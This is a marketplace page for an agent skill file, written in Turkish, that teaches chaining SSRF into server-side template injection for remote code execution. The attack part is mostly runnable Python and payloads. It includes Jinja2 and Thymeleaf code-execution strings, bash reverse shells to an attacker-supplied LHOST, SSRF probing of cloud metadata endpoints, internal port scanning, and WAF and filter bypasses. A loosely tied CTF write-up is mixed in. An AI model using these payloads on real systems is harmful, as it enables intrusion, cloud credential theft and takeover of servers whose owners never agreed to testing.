Skip to content
cccskills
FreePublished on GitHub

ssrf-ssti-chain

SSRF → SSTI zinciri ile RCE — Flask/Jinja2, Thymeleaf, FreeMarker şablonları

The English summary is being prepared. Showing the original description.

See how to install

Files included (1)

  • SKILL.md11.0 KB

SKILL.md (original)

Review the instructions the agent will receive before you install.

SSRF → SSTI Zinciri ile RCE

SSTI Tespiti

Önce hangi template engine çalıştığını belirle. Aşağıdaki probe payload'larını sırayla gönder:

PayloadBeklenen ÇıktıFramework
{{7*7}}49Jinja2, Twig
${7*7}49FreeMarker, Thymeleaf
#{7*7}49Ruby ERB
{{7*'7'}}7777777Jinja2 (Python)
{{7*'7'}}49Twig (PHP)
<%= 7*7 %>49EJS, Ruby ERB
*{7*7}49Thymeleaf (Spring)
import requests

TARGET = "http://<IP>:<PORT>"

# Input parametrelerini bul (name, query, template, title, search, vb.)
probes = [
    ("{{7*7}}", "49"),           # Jinja2/Twig
    ("${7*7}", "49"),            # FreeMarker/Thymeleaf
    ("*{7*7}", "49"),            # Thymeleaf
    ("#{7*7}", "49"),            # Ruby
    ("<%= 7*7 %>", "49"),        # ERB/EJS
    ("{{7*'7'}}", "7777777"),    # Jinja2 konfirm
]

params_to_test = ["name", "query", "q", "template", "title", "search", "input", "text"]

for param in params_to_test:
    for payload, expected in probes:
        r = requests.get(TARGET, params={param: payload})
        if expected in r.text:
            print(f"[!] SSTI BULUNDU! param={param}, payload={payload}")
            print(f"    Response snippet: {r.text[:200]}")

Jinja2 RCE Payload'ları

Temel RCE (Flask/Python)

# Komut çalıştırma — MRO zinciri ile __import__ erişimi
rce_payloads = [
    # Yöntem 1: config.__class__ üzerinden
    "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}",

    # Yöntem 2: subclasses() üzerinden Popen bul
    "{{''.__class__.__mro__[1].__subclasses__()}}",  # önce tüm subclass'ları gör

    # Yöntem 3: request.application üzerinden (Flask özel)
    "{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}",

    # Yöntem 4: cycler/joiner/namespace built-in ile
    "{{cycler.__init__.__globals__.os.popen('id').read()}}",

    # Yöntem 5: lipsum (Flask global)
    "{{lipsum.__globals__['os'].popen('id').read()}}",
]

subclasses() ile Popen Bulma

import requests

TARGET = "http://<IP>:<PORT>"
PARAM = "name"  # SSTI olan parametre

# Önce subclass listesini al
r = requests.get(TARGET, params={PARAM: "{{''.__class__.__mro__[1].__subclasses__()}}"})

# Popen'ın index'ini bul
text = r.text
# subprocess.Popen veya os._wrap_close ara
import re
classes = re.findall(r"<class '([^']+)'>", text)
for i, cls in enumerate(classes):
    if "Popen" in cls or "wrap_close" in cls:
        print(f"Index {i}: {cls}")
        break

# Bulduğun index ile (örnek: 351)
payload = "{{''.__class__.__mro__[1].__subclasses__()[351]('id',shell=True,stdout=-1).communicate()}}"
r = requests.get(TARGET, params={PARAM: payload})
print(r.text)

Reverse Shell (Jinja2)

import requests, urllib.parse

TARGET = "http://<IP>:<PORT>"
LHOST = "10.10.14.X"
LPORT = 4444

# Reverse shell komutu
cmd = f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'"
cmd_b64 = __import__('base64').b64encode(cmd.encode()).decode()

payload = f"{{{{config.__class__.__init__.__globals__['os'].popen('echo {cmd_b64}|base64 -d|bash').read()}}}}"

r = requests.get(TARGET, params={"name": payload})
print(r.status_code)
# nc -nlvp 4444 ile bekle

Thymeleaf RCE (Spring Boot)

Thymeleaf, Spring Expression Language (SpEL) kullanır. Template path'e inject edilebilirse kritik.

# Thymeleaf SSTI payload'ları
thymeleaf_payloads = [
    # SpEL ile Runtime.exec
    "__${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}__::.x",

    # T() operatörü ile
    "*{T(java.lang.Runtime).getRuntime().exec('id')}",

    # ProcessBuilder ile
    "*{T(org.springframework.cglib.core.ReflectUtils).defineClass('Exploit',T(org.springframework.util.Base64Utils).decodeFromString('...'),T(java.lang.Thread).currentThread().getContextClassLoader())}",
]

# Thymeleaf path injection (controller doğrulama yoksa)
# /path/../../../template_injection gibi path traversal + SSTI
import requests
TARGET = "http://<IP>:<PORT>"

# Fragment expression ile (::) RCE
payload = "__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x"
r = requests.get(f"{TARGET}/path/{payload}")
print(r.status_code, r.text[:300])

corCTF 2024 — msfrogofwar3 Çözümü

Senaryo: Flask uygulaması arbitrary file write veriyor. /app/templates/ altına .html dosyası yazarsan, Flask'ın Jinja2 renderer'ı bu dosyayı çalıştırır.

Adım 1: File Write Endpoint'ini Bul

import requests

TARGET = "http://<IP>:<PORT>"
SESSION = requests.Session()

# Uygulamayı keşfet
r = SESSION.get(f"{TARGET}/")
print(r.text[:500])

# Genellikle /upload, /save, /write gibi endpoint'ler
r = SESSION.post(f"{TARGET}/upload", data={
    "filename": "exploit.html",
    "content": "{{7*7}}"
})
print(r.status_code, r.text)

Adım 2: Template Cache Bypass

Flask bazı durumlarda template'i cache'ler. Cache'i temizlemek için farklı dosya adı kullan veya ?v=1 ekle.

import requests, time

TARGET = "http://<IP>:<PORT>"
SESSION = requests.Session()

LHOST = "10.10.14.X"
LPORT = 4444

# Reverse shell payload'u içeren template yaz
shell_cmd = f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'"
import base64
shell_b64 = base64.b64encode(shell_cmd.encode()).decode()

ssti_payload = f"{{{{config.__class__.__init__.__globals__['os'].popen('echo {shell_b64}|base64 -d|bash').read()}}}}"

# /app/templates/ altına yaz
template_name = f"pwn_{int(time.time())}.html"

r = SESSION.post(f"{TARGET}/save", json={
    "path": f"templates/{template_name}",
    "content": ssti_payload
})
print("[*] Write:", r.status_code, r.text)

# Template'i render ettir
r = SESSION.get(f"{TARGET}/render/{template_name}")
print("[*] Render:", r.status_code)
# Reverse shell bağlantısı gelecek

Adım 3: Template Path Traversal

Eğer write için path kısıtlama varsa, path traversal dene:

payloads = [
    "../../templates/exploit.html",
    "../templates/exploit.html",
    "templates%2Fexploit.html",
    "templates/exploit.html",
]
for path in payloads:
    r = SESSION.post(f"{TARGET}/save", data={"path": path, "content": "{{7*7}}"})
    print(f"{path}: {r.status_code}")

SSRF ile Internal Servise Erişim

import requests

TARGET = "http://<IP>:<PORT>"

# SSRF probe — internal IP'leri tara
ssrf_payloads = [
    "http://localhost/",
    "http://127.0.0.1/",
    "http://0.0.0.0/",
    "http://169.254.169.254/",        # AWS metadata
    "http://169.254.169.254/latest/meta-data/",
    "http://metadata.google.internal/",  # GCP
    "http://10.0.0.1/",
    "http://192.168.0.1/",
]

for url in ssrf_payloads:
    r = requests.get(TARGET, params={"url": url}, timeout=3)
    if r.status_code != 404 and len(r.text) > 10:
        print(f"[!] SSRF HIT: {url}")
        print(r.text[:200])

# Internal port tarama
def ssrf_port_scan(ssrf_endpoint, internal_host="127.0.0.1", ports=None):
    if ports is None:
        ports = [22, 80, 443, 3000, 3306, 5432, 6379, 8080, 8443, 9200]
    
    open_ports = []
    for port in ports:
        url = f"http://{internal_host}:{port}/"
        try:
            r = requests.get(
                ssrf_endpoint,
                params={"url": url},
                timeout=2
            )
            # Bağlantı varsa farklı status veya içerik döner
            if r.status_code != 500 or len(r.text) > 50:
                open_ports.append(port)
                print(f"[*] Port {port} AÇIK: {r.status_code} | {r.text[:50]}")
        except Exception:
            pass
    return open_ports

open_ports = ssrf_port_scan(f"{TARGET}/fetch")
print("Açık portlar:", open_ports)

Python Exploit Şablonu (SSRF + SSTI Zinciri)

#!/usr/bin/env python3
"""
CTF SSRF → SSTI Zincir Exploit
Senaryo: /fetch endpoint'i SSRF veriyor, internal serviste SSTI var
"""

import requests
import base64
import sys

TARGET_URL = "http://<HEDEF_IP>:<PORT>"
INTERNAL_URL = "http://127.0.0.1:5000"  # internal Flask servisi
LHOST = "10.10.14.X"
LPORT = 4444

SESSION = requests.Session()
# SESSION.proxies = {"http": "http://127.0.0.1:8080"}  # Burp debug


def ssrf_get(path):
    """SSRF endpoint üzerinden internal isteği yap"""
    full_url = f"{INTERNAL_URL}{path}"
    r = SESSION.get(f"{TARGET_URL}/fetch", params={"url": full_url})
    return r


def ssti_rce(endpoint_param, command):
    """Jinja2 SSTI ile komut çalıştır"""
    payload = f"{{{{config.__class__.__init__.__globals__['os'].popen('{command}').read()}}}}"
    r = ssrf_get(f"/?{endpoint_param}={requests.utils.quote(payload)}")
    return r.text


def main():
    print("[*] SSRF testi...")
    r = ssrf_get("/")
    print(f"    Internal servis: {r.status_code} | {r.text[:100]}")

    print("[*] SSTI testi...")
    result = ssti_rce("name", "id")
    print(f"    id çıktısı: {result[:100]}")

    if "uid=" not in result:
        print("[!] SSTI çalışmadı, payload ve parametre adını kontrol et")
        sys.exit(1)

    print("[*] Reverse shell gönderiliyor...")
    cmd = f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'"
    cmd_b64 = base64.b64encode(cmd.encode()).decode()
    ssti_rce("name", f"echo {cmd_b64}|base64 -d|bash")
    # nc -nlvp 4444


if __name__ == "__main__":
    main()

Tuzaklar

  • {{7*7}} encode gerekiyor: URL parametresinde {, } karakterleri URL encode gerektirebilir. urllib.parse.quote kullan.
  • WAF engeli: config, __class__, __globals__ filtreleniyorsa şu alternatifleri dene: request['__cl'+'ass__'], |attr('__class__') (Jinja2 filter syntax).
  • Thymeleaf path injection: Sadece fragment expression :: varsa çalışır, direct expression olmayabilir.
  • SSRF redirect bloğu: http://127.0.0.1 yerine http://0177.0.0.1, http://2130706433 (decimal IP), http://[::1] dene.
  • Template cache: Jinja2 template'leri cache'ler. Farklı dosya adı veya cache bust parametresi dene.
  • FreeMarker: ${7*7} çalışıyorsa RCE için <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} dene.
<!-- ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih Yetkisiz kullanim/kopyalama tespit edilebilir. hash: e924290f3d6e4390 -->

Reviews

No reviews yet. Tell others what you thought.

Comments

No login needed. Share how it worked for you, ask a question, or note where it did not run.

No comments yet. Be the first to write one.

Comments are published right away. Do not include personal information such as email addresses or phone numbers. Up to 2 URLs.

0 / 1,000 characters

This form is protected by reCAPTCHA, and the Google Privacy Policy and Terms of Service apply.

More skills from this repository

21st.dev Magic MCP — AI-powered UI component generation via natural language. Access to 21st.dev component library, SVGL brand logos, and real-time preview. Generate React/Tailwind components with /ui command.

The English summary is being prepared. Showing the original description.

MustafaKemal0146/fetih5Updated Oct 11, 2026

AES CBC/ECB modlarına karşı kriptografik bütünlük saldırıları — bit flipping, IV manipulation, ECB cut-and-paste, CBC-MAC length extension, IV reuse

The English summary is being prepared. Showing the original description.

MustafaKemal0146/fetih5Updated Oct 11, 2026

AES-GCM ve ChaCha20-Poly1305 nonce yeniden kullanımı saldırısı — GF(2^128) polinom kök bulma ile Hash Key kurtarma ve MAC sahteciliği.

The English summary is being prepared. Showing the original description.

MustafaKemal0146/fetih5Updated Oct 11, 2026

tespit etmeabnormal access patterns in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics. Identifies after-hours bulk downloads, access from new IP addresses, unusual API calls (GetObject spikes), and potential data exfiltration using statistical baselines and time-series anomaly Tespit.

The English summary is being prepared. Showing the original description.

MustafaKemal0146/fetih5Updated Oct 11, 2026

Perform static and symbolic analysis of Solidity smart contracts using Slither and Mythril to tespit etmereentrancy, integer overflow, access control, and other vulnerability classes before Dağıt:ment to Ethereum mainnet.

The English summary is being prepared. Showing the original description.

MustafaKemal0146/fetih5Updated Oct 11, 2026

Parses Kubernetes API server audit logs (JSON lines) to tespit etmeexec-into-pod, secret access, RBAC modifications, privileged pod creation, and anonymous API access. Builds threat Tespit rules from audit event patterns. Use investigating yaparken Kubernetes cluster compromise or building k8s-specific SIEM Tespit rules.

The English summary is being prepared. Showing the original description.

MustafaKemal0146/fetih5Updated Oct 11, 2026

See all skills by MustafaKemal0146

Report a problem with this skill